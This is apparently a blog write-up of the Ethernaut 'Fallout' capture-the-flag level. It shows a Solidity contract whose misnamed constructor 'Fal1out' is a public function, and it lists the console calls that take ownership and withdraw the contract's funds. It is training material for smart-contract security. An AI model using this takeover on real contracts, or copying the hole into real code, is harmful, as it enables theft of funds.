Ethernaut - 2.Fallout
24 Aug 2022ethernaut
solidity
Difficulty: πππππ
Claim ownership of the contract below to complete this level.
Things that might help
- Solidity Remix IDE
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
Writeup
- Get new instance
- Call the method
await contract.owner()
to check contract owner, it return address 0x0000000000000000000000000000000000000000.
- Call the method
await contract.allocatorBalance(YOUR_ADDRESS).then(v=>v.toString())
to check balance, it will return zero.
- Call the method
await contract.Fal1out({ value: toWei("0.00001") })
- Call method
allovatorBalance
again like step3, we can see out balance become 10000000000000 now. - Call the method
await contract.collectAllocations()
- Submit instance ΞΎ( βΏοΌβ‘β)